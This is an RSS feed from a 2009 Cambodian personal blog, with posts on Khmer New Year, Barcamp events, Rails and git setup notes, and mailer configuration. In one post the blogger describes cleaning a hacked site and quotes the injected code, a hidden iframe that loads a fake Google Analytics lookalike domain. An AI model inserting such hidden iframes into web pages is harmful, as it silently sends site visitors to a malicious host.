<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>KhmerAK* &#124; Arts &#38; Kodes</title>
	<atom:link href="http://khmerak.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://khmerak.com</link>
	<description>beautiful inline</description>
	<lastBuildDate>Fri, 17 Apr 2009 08:32:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Happy Khmer New Year</title>
		<link>http://khmerak.com/post/happy-khmer-new-year/</link>
		<comments>http://khmerak.com/post/happy-khmer-new-year/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 01:43:20 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://khmerak.com/post/happy-khmer-new-year/</guid>
		<description><![CDATA[can&#8217;t believe &#8216;that &#8216;its new year time again! as happenning every year from 13-15 april, cambodian are celebrating new year, while normally its the best time to catch up with all family &#8211; relative members. so we take a chance to go back to where we&#8217;re originally from, home town ya! so do i. while [...]]]></description>
			<content:encoded><![CDATA[<p>can&#8217;t believe &#8216;that &#8216;its new year time again! as happenning every year from 13-15 april, cambodian are celebrating new year, while normally its the best time to catch up with all family &#8211; relative members. so we take a chance to go back to where we&#8217;re originally from, home town ya! so do i. while m telling this to u, m on the bus back to kampong cham, srok tbong Kmom (roeng tom &amp; teav). so if  you were in phnom penh you will see everyone are busy traveling out of town.  or somehow you might found everyone gathering at pagoda (wat) n many public and tourism places  to play traditional game (not gambling). so its happy time, wish u all safe trip travelling and happy new year, year of cow. don&#8217;t eat cow! best wishes!</p>
<p><a href="http://www.shozu.com/portal/?utm_source=upload&amp;utm_medium=graphic&amp;utm_campaign=upload_graphic/" target="_blank" >Posted from Shozu</a></p>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/happy-khmer-new-year/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bat tov na? at BarcampKL</title>
		<link>http://khmerak.com/post/bat-tov-na-at-barcampkl/</link>
		<comments>http://khmerak.com/post/bat-tov-na-at-barcampkl/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 08:04:45 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Event]]></category>
		<category><![CDATA[barcamp]]></category>
		<category><![CDATA[barcampkl]]></category>

		<guid isPermaLink="false">http://khmerak.com/?p=388</guid>
		<description><![CDATA[

I&#8217;ve snapped some shot during the trip and event and it can be viewed more at BarcampKL2009
No word to say, because it&#8217;s been a while again disconnected. Last weekend i had a great time in Kuala Lumpur (KL) joining BarcampKL and meeting a lot of new people from around SEA, not just in Malaysia ifself [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://picasaweb.google.com/lh/photo/JlEoQ5mi9K73gqcpr2OPsA?feat=embedwebsite"><img src="http://lh4.ggpht.com/_AApBWurJZw0/SdsDGz09rHI/AAAAAAAAAs0/VQLuryqX4mM/s400/DSC_0085.JPG" /></a><br />
<br />
I&#8217;ve snapped some shot during the trip and event and it can be viewed more at <a href="http://picasaweb.google.com/viirak/BarcampKL2009?feat=embedwebsite">BarcampKL2009</a></p>
<p>No word to say, because it&#8217;s been a while again disconnected. Last weekend i had a great time in Kuala Lumpur (KL) joining BarcampKL and meeting a lot of new people from around SEA, not just in Malaysia ifself that host the event.</p>
<p>Technorati Tags: <a class="performancingtags" href="http://technorati.com/tag/barcampkl" rel="tag">barcampkl</a>, <a class="performancingtags" href="http://technorati.com/tag/barcamp" rel="tag">barcamp</a></p>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/bat-tov-na-at-barcampkl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A new Rails App and Git</title>
		<link>http://khmerak.com/post/a-new-rails-app-and-git/</link>
		<comments>http://khmerak.com/post/a-new-rails-app-and-git/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 05:17:13 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[Rails]]></category>

		<guid isPermaLink="false">http://khmerak.com/?p=384</guid>
		<description><![CDATA[I&#8217;ve always got confuse (4get neng na) when mostly starting a new rails app and have it configured to work with git. So here&#8217; s a quick note to remember:
new rails app:

1
$&#62; sudo rails my_new_app

Then add a git to it:

1
2
$&#62; cd my_new_app
$&#62; sudo git init

Then just tell git who were are:

1
$&#62;git config --global user.name &#34;Your [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve always got confuse (4get neng na) when mostly starting a new rails app and have it configured to work with git. So here&#8217; s a quick note to remember:</p>
<p>new rails app:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$&gt; sudo rails my_new_app</pre></td></tr></table></div>

<p>Then add a git to it:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$&gt; cd my_new_app
$&gt; sudo git init</pre></td></tr></table></div>

<p>Then just tell git who were are:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$&gt;git config --global user.name &quot;Your Name&quot;; git config --global user.email &quot;your@email.com&quot;</pre></td></tr></table></div>

<p>Tell git to ignore some files and folders<br />
at application root create .gitignore file containing:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$&gt; sudo touch .gitignore
$&gt; sudo vim .gitignore</pre></td></tr></table></div>

<p>and you may add the following to .gitignore</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">log/*.log
tmp/**/*
.DS_Store
doc/api
doc/app</pre></td></tr></table></div>

<p>Create some more .gitignore files so the empty directories get tracked:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$&gt; touch log/.gitignore
$&gt; touch tmp/.gitignore</pre></td></tr></table></div>

<p>and commit:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$ git add .
$ git commit -m &quot;initial Rails app&quot;</pre></td></tr></table></div>

<p>That&#8217;s it!</p>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/a-new-rails-app-and-git/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Last Saturday</title>
		<link>http://khmerak.com/post/last-saturday/</link>
		<comments>http://khmerak.com/post/last-saturday/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 10:14:26 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Event]]></category>
		<category><![CDATA[social]]></category>

		<guid isPermaLink="false">http://khmerak.com/post/last-saturday/</guid>
		<description><![CDATA[Last Saturday, was another day that we&#8217;ve metup, barcampers, to talk more about how the Barcamp Phnom Penh 2 would be. There was Jinja and Tharum also joining the discussion with four members from previous meeting, @chriscambo, @DarrenJenson, @Paul, and me.
We&#8217;ve been still fighting for the best venue to host, which some of the most [...]]]></description>
			<content:encoded><![CDATA[<p>Last Saturday, was another day that we&#8217;ve metup, barcampers, to talk more about how the Barcamp Phnom Penh 2 would be. There was Jinja and Tharum also joining the discussion with four members from previous meeting, @chriscambo, @DarrenJenson, @Paul, and me.</p>
<p>We&#8217;ve been still fighting for the best venue to host, which some of the most important the venue should have are : Big Main Hall, Few Extra rooms around, and Some space outside. It&#8217;s kinda hard to find. Some have suggested to look again at CJCC, previous one the barcampphnompenh were hosted. But it&#8217;s not work as we do not want to host it at same same place.</p>
<p>Anyways, we&#8217;ve took sometime to share our discussion and planning here : http://barcamp.org/BarCampPhnomPenh<br />and more soon, we&#8217;d update the barcampphnompenh.org site for more information toward the next event.</p>
<p>You can also join by editing the page at http://barcamp.org/BarCampPhnomPenh</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=b147eed9-ddd2-4f67-916c-39e24602eef9" /></div>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/last-saturday/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Rails Naming Convention</title>
		<link>http://khmerak.com/post/rails-naming-convention/</link>
		<comments>http://khmerak.com/post/rails-naming-convention/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 04:59:23 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://khmerak.com/post/rails-naming-convention/</guid>
		<description><![CDATA[Sometime I feel confusing when getting a switch back to code from one language to one language. From PHP to Javascript to ActionScript3 and RubyOnRails, I was confusing the style to code in each language sometime, especially with naming conventions. So, here&#8217;s a quick note of naming convention in Rails

Model Naming Convention
Table: ordersClass: OrderFile: /app/models/order.rbPrimary [...]]]></description>
			<content:encoded><![CDATA[<p>Sometime I feel confusing when getting a switch back to code from one language to one language. From PHP to Javascript to ActionScript3 and RubyOnRails, I was confusing the style to code in each language sometime, especially with naming conventions. So, here&#8217;s a quick note of naming convention in Rails<br />
<blockquote dir="ltr" style="margin-right: 0px;">
<p><font size="2" face="Verdana"><em>Model Naming Convention</em></font></p>
<p><font size="2" face="Verdana">Table: orders<br />Class: Order<br />File: /app/models/order.rb<br />Primary Key: id<br />Foreign Key: customer_id<br />Link Tables: items_orders</font></p>
<p><font size="2" face="Verdana"><em>Controller Naming Convention</em></font></p>
<p><font size="2" face="Verdana">Class: OrdersController<br />File: /app/controllers/orders_controller.rb<br />Layout: /app/layouts/orders.html.erb</font></p>
<p><font size="2" face="Verdana"><em>View Naming Convention</em></font></p>
<p><font size="2" face="Verdana">Helper: /app/helpers/orders_helper.rb<br />Helper Module: OrdersHelper<br />Views: /app/views/orders/… (list.html.erb for example)</font></p>
<p><font size="2" face="Verdana"><em>Tests Naming Convention</em></font></p>
<p><font size="2" face="Verdana">Unit: /test/unit/order_test.rb<br />Functional: /test/functional/orders_controller_test.rb<br />Fixtures: /test/fixtures/orders.yml</font></p>
</blockquote>
<p>hope not to confuse again :-/<br />Technorati Tags: <a class="performancingtags" href="http://technorati.com/tag/rails" rel="tag">rails</a>, <a class="performancingtags" href="http://technorati.com/tag/code" rel="tag">code</a>, <a class="performancingtags" href="http://technorati.com/tag/convention" rel="tag">convention</a></p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=2bd2f4bc-cb9e-4e30-be02-f2abc8bbb617" /></div>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/rails-naming-convention/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Little update of the first meeting toward Barcamp Phnom Penh 2</title>
		<link>http://khmerak.com/post/little-update-of-the-first-meeting-toward-barcamp-phnom-penh-2/</link>
		<comments>http://khmerak.com/post/little-update-of-the-first-meeting-toward-barcamp-phnom-penh-2/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 10:15:27 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Event]]></category>
		<category><![CDATA[BarcampPhnomPenh]]></category>
		<category><![CDATA[Barcamppp]]></category>
		<category><![CDATA[bcpp]]></category>
		<category><![CDATA[gathering]]></category>
		<category><![CDATA[tech]]></category>

		<guid isPermaLink="false">http://khmerak.com/?p=375</guid>
		<description><![CDATA[It was last Saturday 07 of March, 3pm at T&#038;C World Paster (Street 51) we had our first meeting about our next Barcamp Phnom Penh.
As there was thread started in the Barcamp Phnom Penh list about the Next Barcamp, there&#8217;s quite some people are interested in joining to make the event happen while the rest [...]]]></description>
			<content:encoded><![CDATA[<p>It was last Saturday 07 of March, 3pm at T&#038;C World Paster (Street 51) we had our first meeting about our next Barcamp Phnom Penh.</p>
<p>As there was thread started in the Barcamp Phnom Penh list about the Next Barcamp, there&#8217;s quite some people are interested in joining to make the event happen while the rest i think might also ready to join. Our first meeting was running quite well, 3 hours talk &#8212; kinda long, among 4 people me, @chris, @darren, and @paul from ECCC, few others cant come as they&#8217;re busy. We&#8217;ve talked around things that was happened at previous Barcamp (So many thing actually, but we sum mostly) and what&#8217;s the next one should be. </p>
<p>We were actually trying to figure out the date of the Event, but cannot decide as we seem finding a bit difficult to find the right venue. Some have suggested to use the previous one, CJCC, but it just doesnt work well; we prefer a new place, and some possible on the list maybe:</p>
<p>1. Somewhere behind Phnom Penh Center<br />
2. ITC University<br />
3. RUPP</p>
<p>There are what we can think of. Maybe you can suggest us more the better one for this kind of techie event/gathering?</p>
<p>There was also many stuffs that we have done at the first one. Mostly it&#8217;s done, so it&#8217;s much more easier for this second one to be organized.</p>
<p>So when will the Next Barcamp be? no answer yet! we&#8217;ll figure out on our next meeting. So for those volunteers who interested in making this event happen much better/bigger, please come to join us @t our next meeting, same time same place <strong>Saturday T&#038;CWold Paster 3pm!</strong></p>
<p>I might miss some point :-/ no time to review, cos off now! Comment for your ideas.</p>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/little-update-of-the-first-meeting-toward-barcamp-phnom-penh-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Forgot to wish you ClogHers</title>
		<link>http://khmerak.com/post/forgot-to-wish-you-cloghers/</link>
		<comments>http://khmerak.com/post/forgot-to-wish-you-cloghers/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 02:32:04 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cloggers]]></category>
		<category><![CDATA[women-day]]></category>

		<guid isPermaLink="false">http://khmerak.com/post/forgot-to-wish-you-cloghers/</guid>
		<description><![CDATA[On the best occasion of the International Women&#8217;s day yesterday, I was kinda busy at home doing all de house works haha (tha leng te) It was offline works that keeping me busy. Havent got time to cheer/wish to our greatest women bloggers in our cloggers shpere.
So, here let me take this chance to wish [...]]]></description>
			<content:encoded><![CDATA[<p>On the best occasion of the International Women&#8217;s day yesterday, I was kinda busy at home doing all de house works haha (tha leng te) It was offline works that keeping me busy. Havent got time to cheer/wish to our greatest women bloggers in our cloggers shpere.</p>
<p>So, here let me take this chance to wish you all the best and having great time, great achievements, great jobs and more happy blogging!</p>
<p>cheers!<br />
khmerak</p>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/forgot-to-wish-you-cloghers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Way to the Next Barcamp Phnom Penh</title>
		<link>http://khmerak.com/post/way-to-the-next-barcamp-phnom-penh/</link>
		<comments>http://khmerak.com/post/way-to-the-next-barcamp-phnom-penh/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 05:17:55 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Announcement]]></category>
		<category><![CDATA[Event]]></category>
		<category><![CDATA[social]]></category>

		<guid isPermaLink="false">http://khmerak.com/post/way-to-the-next-barcamp-phnom-penh/</guid>
		<description><![CDATA[It&#8217;s been half year now since the fist ever Barcamp come to Phnom Penh on September 20, 2008. Over 300 tech enthusiasts has been together in one day unconference style event to share and learn from each other. I am sure most of you now know what is Barcamp, not a place for dance or [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been half year now since the fist ever Barcamp come to Phnom Penh on September 20, 2008. Over 300 tech enthusiasts has been together in one day unconference style event to share and learn from each other. I am sure most of you now know what is Barcamp, not a place for dance or drink/girls (sipek srey ngi oun bong) like many bars in the city that everyone have thought when they first have heard. Until the day our first Barcamp Phnom Penh happenned, we&#8217;re all have clearly known that it is a great place/time to learn and share all things about technologies to social fun. I remeber some have told me that, Barcamp was great, especially everything is FREE! heheh&#8230;</p>
<p>Some of you that might still not clear about what it is, probably you missed the event, you can learn more at the global barcamp site, barcamp.org. You will notice that Barcamp is happening everywhere around the world! And if you zoom a little bit to see in South East Asian countries, you&#8217;ll see 
<ul>
<li><a href="http://barcampphnompenh.org/">Barcamp Phnom Penh</a>, September 20, 2008. Next one? coming&#8230;<a href="http://groups.google.com/group/barcampphnompenh">keep update</a></li>
<li><a href="http://barcampbangkok.org/">Barcamp Bangkok</a>, Barcamp Changmai, have happened twice already, now it&#8217;s on the way to the Next BarcampBangkok3</li>
<li><a href="http://barcamp.my/">Barcamp Malaysia</a>, Barcamp KL, Barcamp JB. Next one, BarcampKL is coming this April 04th-05th 2009.</li>
<li><a href="http://barcamp.org/BarCampSingapore3">Barcamp Singapore</a>, the third one just happened last week February 27-28, 2009</li>
<li><a href="http://barcamp.org/BarCampManila">Barcamp Manila</a>, August 21, 2008</li>
<li><a href="http://www.barcampsaigon.org/">Barcamp Saigon</a>, Novenber 15 2008</li>
</ul>
<p>And there&#8217;s maybe many more will happen to every cities where Geeks live.</p>
<p>So, some of you might ask, <b>Will we have our next Barcamp Phnom Penh?</b> and i would say, the answer is Yes or No according to the community of you yourself, Barcampers. Because Barcamp is not own by anyone, it&#8217;s own by everyone in the community of tech enthusiasts, so if the community want the next one they&#8217;ll have it, if not, then the Barcamp will disappear. This mean that to make the barcamp happen, we need a lot of supports, a lot of volunteers, a lot of help from everyone. We have to share a lot of our busy time to participate, to join/share so that it could heppen.</p>
<p>But, what&#8217;s the benefits for you to join making it happen? It might be nothing, if you do nothing and someting if you do something. Because it&#8217;s a Free event, everything is free, the benefits is everywhere, you can get it as much as you want. However, it&#8217;s kinda volunteering work for the community if you like it you do, if you do not, you dont. (Ponte, mok luy pek men kirt te. Think to make it for fun <img src='http://khmerak.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Well, anyways, just want to give you an alert that we are on the way to our Next Barcamp Phnom Penh. The first ever meetup among barcampers who want to make this happen is <b>today Saturday 07, 2009 at 3:00pm, T&amp;C World Street 51.</b><br />So, join us if you like the event and want to share how you want the next event to&nbsp; be like.</p>
<p>I will keep you post on udpates about the event. But, share me back how you think it should be!</p>
<p>cheer, Barcampers!</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=27585350-150a-4144-84d7-817d2a1f3445" /></div>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/way-to-the-next-barcamp-phnom-penh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Analytics and Google Ana1yticz</title>
		<link>http://khmerak.com/post/google-analytics-and-google-ana1yticz/</link>
		<comments>http://khmerak.com/post/google-analytics-and-google-ana1yticz/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 05:31:49 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Google-analytics]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://khmerak.com/post/google-analytics-and-google-ana1yticz/</guid>
		<description><![CDATA[There was a scary strange thing happening recently on one of my website which was unexpectically happening that way.
The site was down! OMG, it&#8217;s nightmare time again! I thought it maybe was my colleague updating some wrong scripts onto the site and upexpectically making the site stop working, but after a while checking all the [...]]]></description>
			<content:encoded><![CDATA[<p>There was a scary strange thing happening recently on one of my website which was unexpectically happening that way.</p>
<p>The site was down! OMG, it&#8217;s nightmare time again! I thought it maybe was my colleague updating some wrong scripts onto the site and upexpectically making the site stop working, but after a while checking all the possible causes that can put the site down, i have found that the code was exacully changed but not look like not by the person. The files with name &#8220;index&#8221; and &#8220;default&#8221; were added by a strange code, and some were duplicated the entire code and added at the bottom of the file with the following stuffs:</p>
<p><code><iframe src="http://google-ana1yticz.com/?click=302B3C" width=1 height=1 style="visibility:hidden;position:absolute;"></iframe></code></p>
<p>Strange huh? it looks like a google analytics code that i use in the index of my site&#8217;s homepage to track the site&#8217;s traffic, but actually it&#8217;s not, it&#8217;s a fake Google Analytics.</p>
<p>This is kinda site&#8217;s virus? entering by the google analytics code to change all the index files in every directories of the entire site. Indeed it works like a virus! So to solve this, i have edited and removed all those strange codes so the site is working back to normal. But so sorry cause i have to remove Google Analytics code too <img src='http://khmerak.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Still wonder, how could this kind of stuff entering to change the file on my server? Maybe the file is world writable? But, it&#8217;s not because all files on the server is 644 (world is not writable).</p>
<p>Have you ever seen stuff like this?</p>
]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/google-analytics-and-google-ana1yticz/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mailer Engine in Rails app</title>
		<link>http://khmerak.com/post/mailer-engine-in-rails-app/</link>
		<comments>http://khmerak.com/post/mailer-engine-in-rails-app/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 10:45:24 +0000</pubDate>
		<dc:creator>khmerak</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mailer]]></category>
		<category><![CDATA[Rails]]></category>

		<guid isPermaLink="false">http://khmerak.com/post/mailer-engine-in-rails-app/</guid>
		<description><![CDATA[By having you application be able to send mail to its users is one of the most important feature that every apps should do and it&#8217;s also kinda basic stuff to setup too! Here&#8217;s a little note when you are doing it:
Normally from your rails app root:

1
$sudo script/generate mailer AppNotifier signup

This will add a signup [...]]]></description>
			<content:encoded><![CDATA[<p>By having you application be able to send mail to its users is one of the most important feature that every apps should do and it&#8217;s also kinda basic stuff to setup too! Here&#8217;s a little note when you are doing it:<br />
Normally from your rails app root:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$sudo script/generate mailer AppNotifier signup</pre></td></tr></table></div>

<p>This will add a signup email notifier to your app. Then next step is just to do a little configuration to make it work, and how you want it to work.</p>
<p>In config/environment.rb , let&#8217;s add the mailer base so that your app will know which engine to send email out (normally it&#8217;s smtp setting)</p>
<p>Here&#8217;s if you use stmp server to send mail out: (put this stuff at the bottom of the file environment.rb)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="language" style="font-family:monospace;"># Use this mailer to send Mail
ActionMailer::Base.delivery_method = :smtp
ActionMailer::Base.server_settings = {
:address =&gt; &quot;mysmtp.server.com&quot;,
:port =&gt; 25,
:domain =&gt; &quot;appdoamin.com&quot;,
:authentication =&gt; :login,
:user_name =&gt; &quot;smtp_usr&quot;,
:password =&gt; &quot;secret&quot;,
}</pre></td></tr></table></div>

<p>But if your server is using sendmail function (mostly in Linux)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">ActionMailer::Base.delivery_method = :sendmail
ActionMailer::Base.sendmail_settings = {
:location =&gt; '/usr/sbin/sendmail',
:arguments =&gt; '-i -t'}</pre></td></tr></table></div>

<p>If your server do not have sendmail, you can do it:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">$sudo apt-get install sendmail</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://khmerak.com/post/mailer-engine-in-rails-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
